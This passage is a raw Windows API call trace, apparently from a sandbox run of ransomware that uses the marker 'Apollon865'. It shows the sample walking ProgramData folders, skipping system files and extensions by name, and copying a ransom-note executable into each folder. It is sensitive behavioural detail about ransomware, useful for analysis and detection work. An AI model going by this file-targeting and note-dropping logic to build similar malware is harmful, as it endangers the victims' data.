	[0051.273] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.273] CloseHandle (hObject=0x15c) returned 1
	[0051.274] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.274] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.274] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30030730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.274] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.274] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.274] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.274] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30030730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.274] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.274] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.274] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.274] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.274] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2436abaa, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa65a8bbf, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x2f22, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Help_CValidator.H1D", cAlternateFileName="HELP_C~1.H1D")) returned 1
	[0051.274] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.274] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="Apollon865.txt.exe") returned 1
	[0051.274] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2=".") returned 1
	[0051.274] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="..") returned 1
	[0051.274] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="windows") returned -1
	[0051.274] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="bootmgr") returned 1
	[0051.274] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="temp") returned -1
	[0051.274] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="pagefile.sys") returned -1
	[0051.274] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="boot") returned 1
	[0051.274] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="ids.txt") returned -1
	[0051.274] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="ntuser.dat") returned -1
	[0051.274] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="Help_CValidator.H1D" | out: lpString1="Help_CValidator.H1D") returned="Help_CValidator.H1D"
	[0051.274] lstrlenW (lpString="Help_CValidator.H1D") returned 19
	[0051.274] lstrlenW (lpString="Apollon865") returned 10
	[0051.275] lstrcmpiW (lpString1="idator.H1D", lpString2="Apollon865") returned 1
	[0051.275] lstrlenW (lpString=".dll") returned 4
	[0051.275] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2=".dll") returned 1
	[0051.275] lstrlenW (lpString=".lnk") returned 4
	[0051.275] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2=".lnk") returned 1
	[0051.275] lstrlenW (lpString=".ini") returned 4
	[0051.275] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2=".ini") returned 1
	[0051.275] lstrlenW (lpString=".sys") returned 4
	[0051.275] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2=".sys") returned 1
	[0051.275] lstrlenW (lpString="Help_CValidator.H1D") returned 19
	[0051.275] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="Help_MKWD_AssetId.H1W" | out: lpString1="Help_MKWD_AssetId.H1W") returned="Help_MKWD_AssetId.H1W"
	[0051.275] lstrlenW (lpString="Help_MKWD_AssetId.H1W") returned 21
	[0051.275] lstrlenW (lpString="Apollon865") returned 10
	[0051.275] lstrcmpiW (lpString1="ssetId.H1W", lpString2="Apollon865") returned 1
	[0051.275] lstrlenW (lpString=".dll") returned 4
	[0051.275] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2=".dll") returned 1
	[0051.275] lstrlenW (lpString=".lnk") returned 4
	[0051.275] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2=".lnk") returned 1
	[0051.275] lstrlenW (lpString=".ini") returned 4
	[0051.275] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2=".ini") returned 1
	[0051.275] lstrlenW (lpString=".sys") returned 4
	[0051.275] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2=".sys") returned 1
	[0051.275] lstrlenW (lpString="Help_MKWD_AssetId.H1W") returned 21
	[0051.275] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="Help_MKWD_BestBet.H1W" | out: lpString1="Help_MKWD_BestBet.H1W") returned="Help_MKWD_BestBet.H1W"
	[0051.275] lstrlenW (lpString="Help_MKWD_BestBet.H1W") returned 21
	[0051.275] lstrlenW (lpString="Apollon865") returned 10
	[0051.275] lstrcmpiW (lpString1="estBet.H1W", lpString2="Apollon865") returned 1
	[0051.275] lstrlenW (lpString=".dll") returned 4
	[0051.275] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2=".dll") returned 1
	[0051.275] lstrlenW (lpString=".lnk") returned 4
	[0051.275] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2=".lnk") returned 1
	[0051.276] lstrlenW (lpString=".ini") returned 4
	[0051.276] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2=".ini") returned 1
	[0051.276] lstrlenW (lpString=".sys") returned 4
	[0051.276] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2=".sys") returned 1
	[0051.276] lstrlenW (lpString="Help_MKWD_BestBet.H1W") returned 21
	[0051.276] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="Help_MTOC_help.H1H" | out: lpString1="Help_MTOC_help.H1H") returned="Help_MTOC_help.H1H"
	[0051.276] lstrlenW (lpString="Help_MTOC_help.H1H") returned 18
	[0051.276] lstrlenW (lpString="Apollon865") returned 10
	[0051.276] lstrcmpiW (lpString1="C_help.H1H", lpString2="Apollon865") returned 1
	[0051.276] lstrlenW (lpString=".dll") returned 4
	[0051.276] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2=".dll") returned 1
	[0051.276] lstrlenW (lpString=".lnk") returned 4
	[0051.276] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2=".lnk") returned 1
	[0051.276] lstrlenW (lpString=".ini") returned 4
	[0051.276] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2=".ini") returned 1
	[0051.276] lstrlenW (lpString=".sys") returned 4
	[0051.276] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2=".sys") returned 1
	[0051.276] lstrlenW (lpString="Help_MTOC_help.H1H") returned 18
	[0051.276] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="Help_MValidator.H1D" | out: lpString1="Help_MValidator.H1D") returned="Help_MValidator.H1D"
	[0051.276] lstrlenW (lpString="Help_MValidator.H1D") returned 19
	[0051.276] lstrlenW (lpString="Apollon865") returned 10
	[0051.276] lstrcmpiW (lpString1="idator.H1D", lpString2="Apollon865") returned 1
	[0051.276] lstrlenW (lpString=".dll") returned 4
	[0051.276] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2=".dll") returned 1
	[0051.276] lstrlenW (lpString=".lnk") returned 4
	[0051.276] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2=".lnk") returned 1
	[0051.276] lstrlenW (lpString=".ini") returned 4
	[0051.276] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2=".ini") returned 1
	[0051.276] lstrlenW (lpString=".sys") returned 4
	[0051.276] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2=".sys") returned 1
	[0051.276] lstrlenW (lpString="Help_MValidator.H1D") returned 19
	[0051.277] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="Help_MValidator.Lck" | out: lpString1="Help_MValidator.Lck") returned="Help_MValidator.Lck"
	[0051.277] lstrlenW (lpString="Help_MValidator.Lck") returned 19
	[0051.277] lstrlenW (lpString="Apollon865") returned 10
	[0051.277] lstrcmpiW (lpString1="idator.Lck", lpString2="Apollon865") returned 1
	[0051.277] lstrlenW (lpString=".dll") returned 4
	[0051.277] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2=".dll") returned 1
	[0051.277] lstrlenW (lpString=".lnk") returned 4
	[0051.277] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2=".lnk") returned 1
	[0051.277] lstrlenW (lpString=".ini") returned 4
	[0051.277] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2=".ini") returned 1
	[0051.277] lstrlenW (lpString=".sys") returned 4
	[0051.277] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2=".sys") returned 1
	[0051.277] lstrlenW (lpString="Help_MValidator.Lck") returned 19
	[0051.277] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q" | out: lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q") returned="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q"
	[0051.277] lstrlenW (lpString="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q") returned 46
	[0051.277] lstrlenW (lpString="Apollon865") returned 10
	[0051.277] lstrcmpiW (lpString1="32D95}.H1Q", lpString2="Apollon865") returned -1
	[0051.277] lstrlenW (lpString=".dll") returned 4
	[0051.277] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2=".dll") returned 1
	[0051.277] lstrlenW (lpString=".lnk") returned 4
	[0051.277] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2=".lnk") returned 1
	[0051.277] lstrlenW (lpString=".ini") returned 4
	[0051.277] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2=".ini") returned 1
	[0051.277] lstrlenW (lpString=".sys") returned 4
	[0051.277] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2=".sys") returned 1
	[0051.277] lstrlenW (lpString="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q") returned 46
	[0051.277] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Favorites", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Favorites") returned="C:\\ProgramData\\Favorites"
	[0051.277] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca310 | out: hHeap=0x580000) returned 1
	[0051.278] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0051.278] lstrlenW (lpString="C:\\ProgramData\\Favorites") returned 24
	[0051.278] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Favorites" | out: lpString1="C:\\ProgramData\\Favorites") returned="C:\\ProgramData\\Favorites"
	[0051.278] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.278] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.278] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.278] GetLastError () returned 0x0
	[0051.278] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.278] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.279] CloseHandle (hObject=0x15c) returned 1
	[0051.279] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.279] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.279] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Favorites\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30030730, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0051.279] GetLastError () returned 0x5
	[0051.279] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\ProgramData\\Favorites\\* FindFirstFile error 5\r\n") returned 58
	[0051.279] lstrlenA (lpString="[ERROR] C:\\ProgramData\\Favorites\\* FindFirstFile error 5\r\n") returned 58
	[0051.279] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.279] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1b10
	[0051.279] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x3a, lpOverlapped=0x0) returned 1
	[0051.279] CloseHandle (hObject=0x15c) returned 1
	[0051.279] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7970
	[0051.279] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Documents", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Documents") returned="C:\\ProgramData\\Documents"
	[0051.279] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca2d0 | out: hHeap=0x580000) returned 1
	[0051.279] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0051.280] lstrlenW (lpString="C:\\ProgramData\\Documents") returned 24
	[0051.280] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Documents" | out: lpString1="C:\\ProgramData\\Documents") returned="C:\\ProgramData\\Documents"
	[0051.280] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.280] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.280] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.280] GetLastError () returned 0x0
	[0051.280] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.280] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.280] CloseHandle (hObject=0x15c) returned 1
	[0051.280] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.280] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.280] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Documents\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30030730, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0051.281] GetLastError () returned 0x5
	[0051.281] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\ProgramData\\Documents\\* FindFirstFile error 5\r\n") returned 58
	[0051.281] lstrlenA (lpString="[ERROR] C:\\ProgramData\\Documents\\* FindFirstFile error 5\r\n") returned 58
	[0051.281] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.281] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1b4a
	[0051.281] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x3a, lpOverlapped=0x0) returned 1
	[0051.281] CloseHandle (hObject=0x15c) returned 1
	[0051.281] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7950
	[0051.281] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Desktop", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Desktop") returned="C:\\ProgramData\\Desktop"
	[0051.281] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7e98 | out: hHeap=0x580000) returned 1
	[0051.281] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0051.281] lstrlenW (lpString="C:\\ProgramData\\Desktop") returned 22
	[0051.281] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Desktop" | out: lpString1="C:\\ProgramData\\Desktop") returned="C:\\ProgramData\\Desktop"
	[0051.281] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.281] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.282] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.282] GetLastError () returned 0x0
	[0051.282] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.282] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.282] CloseHandle (hObject=0x15c) returned 1
	[0051.282] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.282] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.282] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Desktop\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30030730, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0051.282] GetLastError () returned 0x5
	[0051.282] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\ProgramData\\Desktop\\* FindFirstFile error 5\r\n") returned 56
	[0051.282] lstrlenA (lpString="[ERROR] C:\\ProgramData\\Desktop\\* FindFirstFile error 5\r\n") returned 56
	[0051.282] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.283] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1b84
	[0051.283] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x38, lpOverlapped=0x0) returned 1
	[0051.283] CloseHandle (hObject=0x15c) returned 1
	[0051.283] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7930
	[0051.283] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Application Data", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Application Data") returned="C:\\ProgramData\\Application Data"
	[0051.283] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5ed8 | out: hHeap=0x580000) returned 1
	[0051.283] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0051.283] lstrlenW (lpString="C:\\ProgramData\\Application Data") returned 31
	[0051.283] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Application Data" | out: lpString1="C:\\ProgramData\\Application Data") returned="C:\\ProgramData\\Application Data"
	[0051.283] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.283] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.284] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.284] GetLastError () returned 0x0
	[0051.284] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.284] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.284] CloseHandle (hObject=0x15c) returned 1
	[0051.284] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.284] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.284] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30030730, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0051.284] GetLastError () returned 0x5
	[0051.284] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\ProgramData\\Application Data\\* FindFirstFile error 5\r\n") returned 65
	[0051.284] lstrlenA (lpString="[ERROR] C:\\ProgramData\\Application Data\\* FindFirstFile error 5\r\n") returned 65
	[0051.284] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
